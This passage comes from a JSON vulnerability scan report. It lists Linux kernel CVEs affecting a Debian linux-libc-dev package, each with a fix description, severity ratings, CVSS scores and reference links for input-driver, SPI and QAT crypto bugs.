of 6 bytes\nrather than 8 bytes. When __mms114_read_reg() reads the touch data\npacket from the device into the touch buffer, the events are packed\ntightly at 6-byte intervals. However, the driver iterates through the\nevents using standard C array indexing (touch[index]), where each\nelement is sizeof(struct mms114_touch) (8 bytes) apart. As a result, any\ntouch events beyond the first one are read from incorrect offsets and\nparsed improperly.\n\nFix this by explicitly calculating the byte offset for each touch event\nbased on the device's specific event size.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64272", "https://git.kernel.org/linus/a6ac4e24c1a8a533bb61035184fdcc7eede4cc8d%20%287.2-rc1%29", "https://git.kernel.org/stable/c/062bbe55a1f6d77b89d07135ba3b09f97bfac1cb", "https://git.kernel.org/stable/c/112666835071d935fef764aab590339e97216d4a", "https://git.kernel.org/stable/c/38de2979d90d8cd94f18e0567be4c8342d0e0410", "https://git.kernel.org/stable/c/75b12874b4172533b9efc349db328cb1a59c3981", "https://git.kernel.org/stable/c/7c00a0787af7164438bdbc97fcae9733cfc58d21", "https://git.kernel.org/stable/c/a6ac4e24c1a8a533bb61035184fdcc7eede4cc8d", "https://git.kernel.org/stable/c/a747c4eb02656afdbd92eea83b88e92715a23977", "https://linux.oracle.com/cve/CVE-2026-64272.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026072500-CVE-2026-64272-8d9f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64272", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64272" ], "PublishedDate": "2026-07-25T10:17:07.55Z", "LastModifiedDate": "2026-11-06T17:18:44.893Z" }, { "VulnerabilityID": "CVE-2026-64273", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64273", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ce86b2b7b6c16445f48e480aa6a02f4d146ac677bc6b6e0cf2b300f8d2b83f7b", "Title": "kernel: Input: iforce - bound the device-reported force-feedback effect index", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: iforce - bound the device-reported force-feedback effect index\n\niforce_process_packet() handles a status report (packet id 0x02) by\ntaking a force-feedback effect index straight from the device wire and\nusing it to address the per-effect state array:\n\n\ti = data[1] \u0026 0x7f;\n\tif (data[1] \u0026 0x80) {\n\t\tif (!test_and_set_bit(FF_CORE_IS_PLAYED,\n\t\t\t\t iforce-\u003ecore_effects[i].flags))\n\t\t\t...\n\t} else if (test_and_clear_bit(FF_CORE_IS_PLAYED,\n\t\t\t\t iforce-\u003ecore_effects[i].flags)) {\n\t\t...\n\t}\n\nThe index is masked only with 0x7f, so it ranges 0..127, but\ncore_effects[] holds only IFORCE_EFFECTS_MAX (32) entries. For an index\nof 32..127 the test_and_set_bit()/test_and_clear_bit() is an\nout-of-bounds single-bit read-modify-write past the array. core_effects[]\nis the second-to-last member of struct iforce, so the write lands in the\ntrailing members and beyond the embedding kzalloc()'d iforce_serio /\niforce_usb object.\n\ndata[1] is unvalidated device payload on both transports (the USB\ninterrupt endpoint and serio), and the status path is not gated on force\nfeedback being present, so a malicious or counterfeit device can set or\nclear a bit at an attacker-chosen offset past the object.\n\nReject an out-of-range index instead of indexing with it. Bound against\nthe array dimension IFORCE_EFFECTS_MAX rather than dev-\u003eff-\u003emax_effects so\nthe check guarantees memory safety regardless of how many effects the\ndevice registered. A legitimate \"effect started/stopped\" status always\ncarries an index below IFORCE_EFFECTS_MAX, so well-formed devices are\nunaffected; the neighbouring mark_core_as_ready() loop is already bounded\nand is left untouched.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64273", "https://git.kernel.org/linus/0e9943d2e4c63496b6ca84bc66fd3c71d40558e2%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0e9943d2e4c63496b6ca84bc66fd3c71d40558e2", "https://git.kernel.org/stable/c/6c0f2901c9d325d4a0574c4237fd507810d225ff", "https://git.kernel.org/stable/c/70019779325f2bb5f5a4098e91e79c655f50fcef", "https://git.kernel.org/stable/c/a40250f97c312e000e3616c9074022311a0efbc3", "https://git.kernel.org/stable/c/b1b79e89bc33e4c682d3df7ae2aadc62b5a0c310", "https://git.kernel.org/stable/c/c21295616a8a52b9a5f18cd4ca8c73030eda3d4f", "https://git.kernel.org/stable/c/d10b0507fa0f5b46764b178e3271f9012f2df677", "https://git.kernel.org/stable/c/e5fa31f0550b55d80045669ae9080dd5b88abffa", "https://lore.kernel.org/linux-cve-announce/2026072500-CVE-2026-64273-0188@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64273", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64273" ], "PublishedDate": "2026-07-25T10:17:07.66Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-64274", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64274", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:04f47a591327e5265d8d25cb28d4f29341347cc923d7744819b61c3aeb3ec2af", "Title": "kernel: Input: goodix - clamp the device-reported contact count", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: goodix - clamp the device-reported contact count\n\ngoodix_ts_read_input_report() copies the number of touch points reported\nby the device into an on-stack buffer\n\n\tu8 point_data[2 + GOODIX_MAX_CONTACT_SIZE * GOODIX_MAX_CONTACTS];\n\nwhich is sized for at most GOODIX_MAX_CONTACTS (10) contacts. The only\nruntime check bounds the per-interrupt count against ts-\u003emax_touch_num,\nbut that value is taken verbatim from a 4-bit field of the device\nconfiguration block and is never clamped:\n\n\tts-\u003emax_touch_num = ts-\u003econfig[MAX_CONTACTS_LOC] \u0026 0x0f;\n\nThe nibble can be 0..15, so a malfunctioning, malicious or counterfeit\ncontroller (or an attacker tampering with the I2C bus) can advertise up\nto 15 contacts. goodix_ts_read_input_report() then accepts a touch_num\nof up to 15 and the second goodix_i2c_read() writes\nts-\u003econtact_size * (touch_num - 1) bytes past the one-contact header into\npoint_data - up to 30 bytes (45 with the 9-byte report format) beyond the\n92-byte buffer: a stack out-of-bounds write.\n\nClamp max_touch_num to GOODIX_MAX_CONTACTS, the number of contacts\npoint_data[] is sized for, when reading it from the configuration.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64274", "https://git.kernel.org/linus/5ed62a96e06be4e94b8296b7932afee550a70e04%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2a67668690129953e898923260a2dd1c7c196495", "https://git.kernel.org/stable/c/3b32303460155603d25444274856013d211d5e1f", "https://git.kernel.org/stable/c/46addbd13dbf4aacb71cfbca964a5e552d0f45ae", "https://git.kernel.org/stable/c/4bfea9c3a0981c1c7fc5d1a1b27197b2de247902", "https://git.kernel.org/stable/c/5ed62a96e06be4e94b8296b7932afee550a70e04", "https://git.kernel.org/stable/c/719d1a2c83a46be6bf81af905e4f6adb3d32dc28", "https://git.kernel.org/stable/c/98b2caef249183b572c04451365246f919707845", "https://git.kernel.org/stable/c/e825f352ef5271255cd08cc994b0dc25648a2f38", "https://lore.kernel.org/linux-cve-announce/2026072500-CVE-2026-64274-f2a8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64274", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64274" ], "PublishedDate": "2026-07-25T10:17:07.797Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-64303", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64303", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd561a35b1c1728bb6a81fe74da6a64390e3d017630800eb17417680ec43fb2f", "Title": "kernel: spi: fsl-lpspi: terminate the RX channel on TX prepare failure path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: fsl-lpspi: terminate the RX channel on TX prepare failure path\n\nWhen dmaengine_prep_slave_sg() fails for the TX channel, the error path\nterminates the TX DMA channel but leaves the RX channel running. Since\nthe RX channel was already submitted and issued prior to preparing\nthe TX descriptor, returning -EINVAL causes the SPI core to unmap the\nDMA buffers while the RX DMA engine continues writing to them, leading\nto potential memory corruption or use-after-free.\n\nTerminate the RX channel before returning on the TX prepare failure path.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-64303", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/01980b5da56e573d62798d0ff6c86bcaa2b22cbe%20%287.2-rc1%29", "https://git.kernel.org/stable/c/01980b5da56e573d62798d0ff6c86bcaa2b22cbe", "https://git.kernel.org/stable/c/808033d80d5c9f8adf7e8de9317389270ce13430", "https://git.kernel.org/stable/c/9d000bdd250d649a11cd7f733175686877344582", "https://git.kernel.org/stable/c/ad370d1c7a9a832f77b2341513cd31188c9443af", "https://git.kernel.org/stable/c/af39a2698f69b584d14a00cffe0f51a2caa15337", "https://git.kernel.org/stable/c/cce2063404b2341e7b2bbf85eddfcd70a31a0033", "https://git.kernel.org/stable/c/d5c1060218a3749c8a18b36f8169d910fce20639", "https://git.kernel.org/stable/c/e65505d91fa036a238968e4c10744244d1b968c4", "https://linux.oracle.com/cve/CVE-2026-64303.html", "https://linux.oracle.com/errata/ELSA-2026-93412.html", "https://lore.kernel.org/linux-cve-announce/2026072507-CVE-2026-64303-7a2d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64303", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64303" ], "PublishedDate": "2026-07-25T10:17:11.277Z", "LastModifiedDate": "2026-10-19T21:17:30.687Z" }, { "VulnerabilityID": "CVE-2026-64304", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64304", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:071a9489f617fb957a4c259a4b57b2f208c383f484fcd2157230c6b5d0b5733d", "Title": "kernel: crypto: qat - validate RSA CRT component lengths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - validate RSA CRT component lengths\n\nThe generic RSA key parser (rsa_helper.c) bounds each CRT component (p,\nq, dp, dq, qinv) by the modulus size n_sz, but qat_rsa_setkey_crt()\nallocates half-size DMA buffers (key_sz / 2) and right-aligns each\ncomponent with:\n\n memcpy(dst + half_key_sz - len, src, len)\n\nWhen a CRT component is larger than half_key_sz the subtraction\nunderflows and memcpy writes past the DMA buffer, causing memory\ncorruption.\n\nAdd a len \u003e half_key_sz check next to the existing !len check for each\nof the five CRT components so the driver falls back to the non-CRT path\ninstead of writing out of bounds.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-64304", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/b3ac78756588059729b9195fcc9f4b37d54057a5%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1002719d13072a5e4be1e993aa61dffb4a604e82", "https://git.kernel.org/stable/c/3d61a214fdcda41f1ebfabbb483404032a7b4d91", "https://git.kernel.org/stable/c/500319830d76911c120dc0b9605f8c16d7702844", "https://git.kernel.org/stable/c/6d99c5fadd2df488103f64d6475b63ba6852202b", "https://git.kernel.org/stable/c/6fb62b767f3e27661e8f8d2f7b85f4e098fcdb1a", "https://git.kernel.org/stable/c/b3ac78756588059729b9195fcc9f4b37d54057a5", "https://git.kernel.org/stable/c/c34369473bfe92a0b46ec78d6358e30341c7f481", "https://git.kernel.org/stable/c/ce42224487c504aee4b7ff3a7342e7b4d7e28cc9", "https://linux.oracle.com/cve/CVE-2026-64304.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026072507-CVE-2026-64304-7d9a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64304", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64304" ], "PublishedDate": "2026-07-25T10:17:11.403Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-64305", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64305", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2b6d86b3505f7b4ca11451da626f2b7e3ebac38fae5417a876c34428aa658eab", "Title": "kernel: crypto: qat - protect service table iterations with service_lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - protect service table iterations with service_lock\n\nThe service_table list is protected by service_lock when entries are\nadded or removed (in adf_service_add() and adf_service_remove()), but\nseveral functions iterate over the list without holding this lock.\n\nA concurrent adf_service_register() or adf_service_unregister() call\ncould modify the list during traversal, leading to list corruption or\na use-after-free.\n\nFix this by holding service_lock across all list_for_each_entry()\niterations of service_table in adf_dev_init(), adf_dev_start(),\nadf_dev_stop(), adf_dev_shutdown(), adf_dev_restarting_notify(),\nadf_dev_restarted_notify(), and adf_error_notifier().\n\nThe lock ordering is safe: callers of the static helpers (adf_dev_up()\nand adf_dev_down()) acquire state_lock before service_lock, and no\nevent_hld callback or service_lock holder ever acquires state_lock in\nthe reverse order.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": 